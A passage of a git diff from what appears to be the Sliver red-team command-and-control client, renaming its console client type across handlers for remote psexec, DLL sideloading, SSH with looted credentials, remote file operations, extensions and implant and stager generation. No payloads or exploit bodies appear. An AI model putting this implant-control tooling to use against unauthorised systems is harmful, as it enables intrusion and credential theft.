*console.SliverConsoleClient, args []string) { +func PsExecCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return diff --git a/client/command/exec/sideload.go b/client/command/exec/sideload.go index b965c5385a..991ee835cb 100644 --- a/client/command/exec/sideload.go +++ b/client/command/exec/sideload.go @@ -35,7 +35,7 @@ import ( ) // SideloadCmd - Sideload a shared library on the remote system -func SideloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func SideloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -96,7 +96,7 @@ func SideloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) { +func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, cmd *cobra.Command, con *console.SliverClient) { saveLoot, _ := cmd.Flags().GetBool("loot") lootName, _ := cmd.Flags().GetString("name") diff --git a/client/command/exec/spawndll.go b/client/command/exec/spawndll.go index d522f100b4..068965113c 100644 --- a/client/command/exec/spawndll.go +++ b/client/command/exec/spawndll.go @@ -34,7 +34,7 @@ import ( ) // SpawnDllCmd - Spawn execution of a DLL on the remote system -func SpawnDllCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func SpawnDllCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -85,7 +85,7 @@ func SpawnDllCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) { +func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, cmd *cobra.Command, con *console.SliverClient) { saveLoot, _ := cmd.Flags().GetBool("loot") lootName, _ := cmd.Flags().GetString("name") diff --git a/client/command/exec/ssh.go b/client/command/exec/ssh.go index f7b8f4dbb9..67dea6252d 100644 --- a/client/command/exec/ssh.go +++ b/client/command/exec/ssh.go @@ -33,7 +33,7 @@ import ( ) // SSHCmd - A built-in SSH client command for the remote system (doesn't shell out) -func SSHCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func SSHCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var ( privKey []byte err error @@ -121,7 +121,7 @@ func SSHCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } // PrintSSHCmd - Print the ssh command response -func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverConsoleClient) { +func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverClient) { if sshCmd.Response != nil && sshCmd.Response.Err != "" { con.PrintErrorf("Error: %s\n", sshCmd.Response.Err) if sshCmd.StdErr != "" { @@ -139,7 +139,7 @@ func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverConsoleClient) } } -func tryCredsFromLoot(con *console.SliverConsoleClient) (string, string, []byte) { +func tryCredsFromLoot(con *console.SliverClient) (string, string, []byte) { var ( username string password string diff --git a/client/command/exit/exit.go b/client/command/exit/exit.go index ba0f1ee79b..f09f930b3e 100644 --- a/client/command/exit/exit.go +++ b/client/command/exit/exit.go @@ -31,7 +31,7 @@ import ( ) // ExitCmd - Exit the console -func ExitCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ExitCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { fmt.Println("Exiting...") if con.IsServer { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) @@ -56,7 +56,7 @@ func ExitCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string } // Commands returns the `exit` command. -func Command(con *console.SliverConsoleClient) []*cobra.Command { +func Command(con *console.SliverClient) []*cobra.Command { return []*cobra.Command{{ Use: "exit", Short: "Exit the program", diff --git a/client/command/extensions/commands.go b/client/command/extensions/commands.go index 236f13e6ba..62df2bf6cc 100644 --- a/client/command/extensions/commands.go +++ b/client/command/extensions/commands.go @@ -10,7 +10,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { extensionCmd := &cobra.Command{ Use: consts.ExtensionsStr, Short: "Manage extensions", diff --git a/client/command/extensions/extensions.go b/client/command/extensions/extensions.go index 980386150f..5bc6f0cd86 100644 --- a/client/command/extensions/extensions.go +++ b/client/command/extensions/extensions.go @@ -35,7 +35,7 @@ import ( ) // ExtensionsCmd - List information about installed extensions -func ExtensionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient) { +func ExtensionsCmd(cmd *cobra.Command, con *console.SliverClient) { if 0 < len(getInstalledManifests()) { PrintExtensions(con) } else { @@ -44,7 +44,7 @@ func ExtensionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient) { } // PrintExtensions - Print a list of loaded extensions -func PrintExtensions(con *console.SliverConsoleClient) { +func PrintExtensions(con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.AppendHeader(table.Row{ @@ -115,7 +115,7 @@ func getInstalledManifests() map[string]*ExtensionManifest { } // ExtensionsCommandNameCompleter - Completer for installed extensions command names -func ExtensionsCommandNameCompleter(con *console.SliverConsoleClient) carapace.Action { +func ExtensionsCommandNameCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { installedManifests := getInstalledManifests() results := []string{} diff --git a/client/command/extensions/install.go b/client/command/extensions/install.go index 66e240f549..d6053f1736 100644 --- a/client/command/extensions/install.go +++ b/client/command/extensions/install.go @@ -32,7 +32,7 @@ import ( ) // ExtensionsInstallCmd - Install an extension -func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { extLocalPath := args[0] fi, err := os.Stat(extLocalPath) @@ -48,7 +48,7 @@ func ExtensionsInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, } // Install an extension from a directory -func installFromDir(extLocalPath string, con *console.SliverConsoleClient) { +func installFromDir(extLocalPath string, con *console.SliverClient) { manifestData, err := os.ReadFile(filepath.Join(extLocalPath, ManifestFileName)) if err != nil { con.PrintErrorf("Error reading %s: %s", ManifestFileName, err) @@ -99,7 +99,7 @@ func installFromDir(extLocalPath string, con *console.SliverConsoleClient) { } // InstallFromFilePath - Install an extension from a .tar.gz file -func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string { +func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverClient) *string { manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName)) if err != nil { con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err) @@ -150,7 +150,7 @@ func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.S return &installPath } -func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error { +func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverClient) error { data, err := util.ReadFileFromTarGz(extGzFilePath, "."+filepath.ToSlash(artifactPath)) if err != nil { return err diff --git a/client/command/extensions/list.go b/client/command/extensions/list.go index afc479a75c..6733e15779 100644 --- a/client/command/extensions/list.go +++ b/client/command/extensions/list.go @@ -28,7 +28,7 @@ import ( ) // ExtensionsListCmd - List all extension loaded on the active session/beacon -func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return diff --git a/client/command/extensions/load.go b/client/command/extensions/load.go index 72b7d2fd29..f794cea1a7 100644 --- a/client/command/extensions/load.go +++ b/client/command/extensions/load.go @@ -106,7 +106,7 @@ func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, ta } // ExtensionLoadCmd - Load extension command -func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { dirPath := args[0] // dirPath := ctx.Args.String("dir-path") extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName)) @@ -175,7 +175,7 @@ func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) { } // ExtensionRegisterCommand - Register a new extension command -func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con *console.SliverConsoleClient) { +func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con *console.SliverClient) { if errInvalidArgs := checkExtensionArgs(extCmd); errInvalidArgs != nil { con.PrintErrorf(errInvalidArgs.Error()) return @@ -210,7 +210,7 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con cmd.AddCommand(extensionCmd) } -func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, cmd *cobra.Command, con *console.SliverConsoleClient) error { +func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, cmd *cobra.Command, con *console.SliverClient) error { var extensionList []string binPath, err := ext.getFileForTarget(cmd.Name(), goos, goarch) if err != nil { @@ -261,7 +261,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa return nil } -func registerExtension(goos string, ext *ExtensionManifest, binData []byte, cmd *cobra.Command, con *console.SliverConsoleClient) error { +func registerExtension(goos string, ext *ExtensionManifest, binData []byte, cmd *cobra.Command, con *console.SliverClient) error { registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{ Name: ext.CommandName, Data: binData, @@ -278,7 +278,7 @@ func registerExtension(goos string, ext *ExtensionManifest, binData []byte, cmd return nil } -func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con *console.SliverConsoleClient) error { +func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con *console.SliverClient) error { depExt, ok := loadedExtensions[depName] if ok { depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch) @@ -294,7 +294,7 @@ func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con return fmt.Errorf("missing dependency %s", depName) } -func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var ( err error extensionArgs []byte @@ -389,7 +389,7 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } // PrintExtOutput - Print the ext execution output -func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) { +func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverClient) { if extName == commandName { con.PrintInfof("Successfully executed %s", extName) } else { diff --git a/client/command/extensions/remove.go b/client/command/extensions/remove.go index ceadf621c3..f2c19c18cd 100644 --- a/client/command/extensions/remove.go +++ b/client/command/extensions/remove.go @@ -33,7 +33,7 @@ import ( ) // ExtensionsRemoveCmd - Remove an extension -func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { name := args[0] if name == "" { con.PrintErrorf("Extension name is required\n") @@ -55,7 +55,7 @@ func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a } // RemoveExtensionByCommandName - Remove an extension by command name -func RemoveExtensionByCommandName(commandName string, con *console.SliverConsoleClient) error { +func RemoveExtensionByCommandName(commandName string, con *console.SliverClient) error { if commandName == "" { return errors.New("command name is required") } diff --git a/client/command/filesystem/cat.go b/client/command/filesystem/cat.go index 5da4c0e730..aacb93b471 100644 --- a/client/command/filesystem/cat.go +++ b/client/command/filesystem/cat.go @@ -38,7 +38,7 @@ import ( ) // CatCmd - Display the contents of a remote file -func CatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CatCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -81,7 +81,7 @@ func CatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } // PrintCat - Print the download to stdout -func PrintCat(download *sliverpb.Download, cmd *cobra.Command, con *console.SliverConsoleClient) { +func PrintCat(download *sliverpb.Download, cmd *cobra.Command, con *console.SliverClient) { var ( lootDownload bool = true err error diff --git a/client/command/filesystem/cd.go b/client/command/filesystem/cd.go index 02fcf5ff69..325a45a659 100644 --- a/client/command/filesystem/cd.go +++ b/client/command/filesystem/cd.go @@ -31,7 +31,7 @@ import ( ) // CdCmd - Change directory on the remote system -func CdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CdCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return diff --git a/client/command/filesystem/chmod.go b/client/command/filesystem/chmod.go index 083c2feab1..01439b7c44 100644 --- a/client/command/filesystem/chmod.go +++ b/client/command/filesystem/chmod.go @@ -30,7 +30,7 @@ import ( ) // ChmodCmd - Change the permissions of a file on the remote file system -func ChmodCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ChmodCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -78,7 +78,7 @@ func ChmodCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin } // PrintChmod - Print the chmod response -func PrintChmod(chmod *sliverpb.Chmod, con *console.SliverConsoleClient) { +func PrintChmod(chmod *sliverpb.Chmod, con *console.SliverClient) { if chmod.Response != nil && chmod.Response.Err != "" { con.PrintErrorf("%s\n", chmod.Response.Err) return diff --git a/client/command/filesystem/chown.go b/client/command/filesystem/chown.go index 1a95be6255..b9282fc8f3 100644 --- a/client/command/filesystem/chown.go +++ b/client/command/filesystem/chown.go @@ -30,7 +30,7 @@ import ( ) // ChownCmd - Change the owner of a file on the remote file system -func ChownCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ChownCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -86,7 +86,7 @@ func ChownCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin } // PrintChown - Print the chown response -func PrintChown(chown *sliverpb.Chown, con *console.SliverConsoleClient) { +func PrintChown(chown *sliverpb.Chown, con *console.SliverClient) { if chown.Response != nil && chown.Response.Err != "" { con.PrintErrorf("%s\n", chown.Response.Err) return diff --git a/client/command/filesystem/chtimes.go b/client/command/filesystem/chtimes.go index eee6b4f503..1535387111 100644 --- a/client/command/filesystem/chtimes.go +++ b/client/command/filesystem/chtimes.go @@ -31,7 +31,7 @@ import ( ) // ChtimesCmd - Change the access and modified time of a file on the remote file system -func ChtimesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func ChtimesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -99,7 +99,7 @@ func ChtimesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str } // PrintChtimes - Print the Chtimes response -func PrintChtimes(chtimes *sliverpb.Chtimes, con *console.SliverConsoleClient) { +func PrintChtimes(chtimes *sliverpb.Chtimes, con *console.SliverClient) { if chtimes.Response != nil && chtimes.Response.Err != "" { con.PrintErrorf("%s\n", chtimes.Response.Err) return diff --git a/client/command/filesystem/commands.go b/client/command/filesystem/commands.go index 3c1c64d713..d0b8c85775 100644 --- a/client/command/filesystem/commands.go +++ b/client/command/filesystem/commands.go @@ -13,7 +13,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { mvCmd := &cobra.Command{ Use: consts.MvStr, Short: "Move or rename a file", diff --git a/client/command/filesystem/cp.go b/client/command/filesystem/cp.go index 9d0fe895a9..9231806d9a 100644 --- a/client/command/filesystem/cp.go +++ b/client/command/filesystem/cp.go @@ -30,7 +30,7 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -func CpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (err error) { +func CpCmd(cmd *cobra.Command, con *console.SliverClient, args []string) (err error) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -72,7 +72,7 @@ func CpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) return } -func PrintCp(cp *sliverpb.Cp, con *console.SliverConsoleClient) { +func PrintCp(cp *sliverpb.Cp, con *console.SliverClient) { if cp.Response != nil && cp.Response.Err != "" { con.PrintErrorf("%s\n", cp.Response.Err) return diff --git a/client/command/filesystem/download.go b/client/command/filesystem/download.go index 6192a9fa5e..512332585f 100644 --- a/client/command/filesystem/download.go +++ b/client/command/filesystem/download.go @@ -39,7 +39,7 @@ import ( "github.com/bishopfox/sliver/util/encoders" ) -func DownloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func DownloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -104,7 +104,7 @@ func prettifyDownloadName(path string) string { return filteredString } -func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, args []string, con *console.SliverConsoleClient) { +func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, args []string, con *console.SliverClient) { var err error if download.Response != nil && download.Response.Err != "" { con.PrintErrorf("%s\n", download.Response.Err) diff --git a/client/command/filesystem/ls.go b/client/command/filesystem/ls.go index 28e56348f4..b779dbe5af 100644 --- a/client/command/filesystem/ls.go +++ b/client/command/filesystem/ls.go @@ -39,7 +39,7 @@ import ( ) // LsCmd - List the contents of a remote directory -func LsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func LsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -76,7 +76,7 @@ func LsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } // PrintLs - Display an sliverpb.Ls object -func PrintLs(ls *sliverpb.Ls, flags *pflag.FlagSet, con *console.SliverConsoleClient) { +func PrintLs(ls *sliverpb.Ls, flags *pflag.FlagSet, con *console.SliverClient) { if ls.Response != nil && ls.Response.Err != "" { con.PrintErrorf("%s\n", ls.Response.Err) return diff --git a/client/command/filesystem/memfiles-add.go b/client/command/filesystem/memfiles-add.go index 2183298574..073d260702 100644 --- a/client/command/filesystem/memfiles-add.go +++ b/client/command/filesystem/memfiles-add.go @@ -29,7 +29,7 @@ import ( ) // MemfilesAddCmd - Add memfile -func MemfilesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func MemfilesAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -58,7 +58,7 @@ func MemfilesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ } // PrintAddMemfile - Print the memfiles response -func PrintAddMemfile(memfilesAdd *sliverpb.MemfilesAdd, con *console.SliverConsoleClient) { +func PrintAddMemfile(memfilesAdd *sliverpb.MemfilesAdd, con *console.SliverClient) { if memfilesAdd.Response != nil && memfilesAdd.Response.Err != "" { con.PrintErrorf("%s\n", memfilesAdd.Response.Err) return diff --git a/client/command/filesystem/memfiles-list.go b/client/command/filesystem/memfiles-list.go index e868a440c4..e8e9f661c1 100644 --- a/client/command/filesystem/memfiles-list.go +++ b/client/command/filesystem/memfiles-list.go @@ -35,7 +35,7 @@ import ( ) // MemfilesListCmd - List memfiles -func MemfilesListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func MemfilesListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -64,7 +64,7 @@ func MemfilesListCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } // PrintMemfiles - Display an sliverpb.Ls object -func PrintMemfiles(ls *sliverpb.Ls, con *console.SliverConsoleClient) { +func PrintMemfiles(ls *sliverpb.Ls, con *console.SliverClient) { if ls.Response != nil && ls.Response.Err != "" { con.PrintErrorf("%s\n", ls.Response.Err) return diff --git a/client/command/filesystem/memfiles-rm.go b/client/command/filesystem/memfiles-rm.go index 169b3ec0ad..697e9205c6 100644 --- a/client/command/filesystem/memfiles-rm.go +++ b/client/command/filesystem/memfiles-rm.go @@ -30,7 +30,7 @@ import ( ) // MemfilesRmCmd - Remove a memfile -func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -68,7 +68,7 @@ func MemfilesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] } // PrintRmMemfile - Remove a memfile -func PrintRmMemfile(memfilesList *sliverpb.MemfilesRm, con *console.SliverConsoleClient) { +func PrintRmMemfile(memfilesList *sliverpb.MemfilesRm, con *console.SliverClient) { if memfilesList.Response != nil && memfilesList.Response.Err != "" { con.PrintErrorf("%s\n", memfilesList.Response.Err) return diff --git a/client/command/filesystem/mkdir.go b/client/command/filesystem/mkdir.go index e759f56f28..ae0427767a 100644 --- a/client/command/filesystem/mkdir.go +++ b/client/command/filesystem/mkdir.go @@ -31,7 +31,7 @@ import ( ) // MkdirCmd - Make a remote directory -func MkdirCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func MkdirCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -69,7 +69,7 @@ func MkdirCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin } // PrintMkdir - Print make directory -func PrintMkdir(mkdir *sliverpb.Mkdir, con *console.SliverConsoleClient) { +func PrintMkdir(mkdir *sliverpb.Mkdir, con *console.SliverClient) { if mkdir.Response != nil && mkdir.Response.Err != "" { con.PrintErrorf("%s\n", mkdir.Response.Err) return diff --git a/client/command/filesystem/mv.go b/client/command/filesystem/mv.go index 61aa523f70..784a9ec7aa 100644 --- a/client/command/filesystem/mv.go +++ b/client/command/filesystem/mv.go @@ -30,7 +30,7 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -func MvCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (err error) { +func MvCmd(cmd *cobra.Command, con *console.SliverClient, args []string) (err error) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -78,7 +78,7 @@ func MvCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } // PrintMv - Print the renamed file -func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) { +func PrintMv(mv *sliverpb.Mv, con *console.SliverClient) { if mv.Response != nil && mv.Response.Err != "" { con.PrintErrorf("%s\n", mv.Response.Err) return diff --git a/client/command/filesystem/pwd.go b/client/command/filesystem/pwd.go index 865de3bd8c..01b0981561 100644 --- a/client/command/filesystem/pwd.go +++ b/client/command/filesystem/pwd.go @@ -31,7 +31,7 @@ import ( ) // PwdCmd - Print the remote working directory -func PwdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func PwdCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -59,7 +59,7 @@ func PwdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } // PrintPwd - Print the remote working directory -func PrintPwd(pwd *sliverpb.Pwd, con *console.SliverConsoleClient) { +func PrintPwd(pwd *sliverpb.Pwd, con *console.SliverClient) { if pwd.Response != nil && pwd.Response.Err != "" { con.PrintErrorf("%s\n", pwd.Response.Err) return diff --git a/client/command/filesystem/rm.go b/client/command/filesystem/rm.go index 72fc88b40d..e954b7b50f 100644 --- a/client/command/filesystem/rm.go +++ b/client/command/filesystem/rm.go @@ -31,7 +31,7 @@ import ( ) // RmCmd - Remove a directory from the remote file system -func RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func RmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -74,7 +74,7 @@ func RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } // PrintRm - Print the rm response -func PrintRm(rm *sliverpb.Rm, con *console.SliverConsoleClient) { +func PrintRm(rm *sliverpb.Rm, con *console.SliverClient) { if rm.Response != nil && rm.Response.Err != "" { con.PrintErrorf("%s\n", rm.Response.Err) return diff --git a/client/command/filesystem/upload.go b/client/command/filesystem/upload.go index 9e163699dc..63ef374ab5 100644 --- a/client/command/filesystem/upload.go +++ b/client/command/filesystem/upload.go @@ -36,7 +36,7 @@ import ( ) // UploadCmd - Upload a file to the remote system -func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func UploadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -111,7 +111,7 @@ func UploadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri } // PrintUpload - Print the result of the upload command -func PrintUpload(upload *sliverpb.Upload, con *console.SliverConsoleClient) { +func PrintUpload(upload *sliverpb.Upload, con *console.SliverClient) { if upload.Response != nil && upload.Response.Err != "" { con.PrintErrorf("%s\n", upload.Response.Err) return diff --git a/client/command/generate/canaries.go b/client/command/generate/canaries.go index e2a9ff240f..bf475a4665 100644 --- a/client/command/generate/canaries.go +++ b/client/command/generate/canaries.go @@ -14,7 +14,7 @@ import ( ) // CanariesCmd - Display canaries from the database and their status -func CanariesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func CanariesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { canaries, err := con.Rpc.Canaries(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("Failed to list canaries %s", err) @@ -29,7 +29,7 @@ func CanariesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } // PrintCanaries - Print the canaries tracked by the server -func PrintCanaries(con *console.SliverConsoleClient, canaries []*clientpb.DNSCanary, burnedOnly bool) { +func PrintCanaries(con *console.SliverClient, canaries []*clientpb.DNSCanary, burnedOnly bool) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) tw.AppendHeader(table.Row{ diff --git a/client/command/generate/commands.go b/client/command/generate/commands.go index cd5b971859..067248fde1 100644 --- a/client/command/generate/commands.go +++ b/client/command/generate/commands.go @@ -12,7 +12,7 @@ import ( ) // Commands returns the “ command and its subcommands. -func Commands(con *console.SliverConsoleClient) []*cobra.Command { +func Commands(con *console.SliverClient) []*cobra.Command { // [ Generate ] -------------------------------------------------------------- generateCmd := &cobra.Command{ Use: consts.GenerateStr, @@ -334,7 +334,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) { } // coreImplantFlagCompletions binds completions to flags registered in coreImplantFlags. -func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverConsoleClient) { +func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) { flags.BindFlagCompletions(cmd, func(comp *carapace.ActionMap) { (*comp)["debug-file"] = carapace.ActionFiles() (*comp)["os"] = OSCompleter(con) diff --git a/client/command/generate/generate-beacon.go b/client/command/generate/generate-beacon.go index 43820aa7d4..c28c2fdc7c 100644 --- a/client/command/generate/generate-beacon.go +++ b/client/command/generate/generate-beacon.go @@ -17,7 +17,7 @@ var ( ) // GenerateBeaconCmd - The main command used to generate implant binaries -func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { config := parseCompileFlags(cmd, con) if config == nil { return @@ -39,7 +39,7 @@ func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg } } -func parseBeaconFlags(cmd *cobra.Command, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error { +func parseBeaconFlags(cmd *cobra.Command, con *console.SliverClient, config *clientpb.ImplantConfig) error { days, _ := cmd.Flags().GetInt64("days") hours, _ := cmd.Flags().GetInt64("hours") minutes, _ := cmd.Flags().GetInt64("minutes") diff --git a/client/command/generate/generate-info.go b/client/command/generate/generate-info.go index 9fe59c3321..a8c78273c9 100644 --- a/client/command/generate/generate-info.go +++ b/client/command/generate/generate-info.go @@ -10,7 +10,7 @@ import ( ) // GenerateInfoCmd - Display information about the Sliver server's compiler configuration -func GenerateInfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func GenerateInfoCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("Failed to get compiler information: %s\n", err) diff --git a/client/command/generate/generate-stager.go b/client/command/generate/generate-stager.go index 6806ffb184..cc73e4d88c 100644 --- a/client/command/generate/generate-stager.go +++ b/client/command/generate/generate-stager.go @@ -34,7 +34,7 @@ import ( ) // GenerateStagerCmd - Generate a stager using Metasploit -func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var stageProto 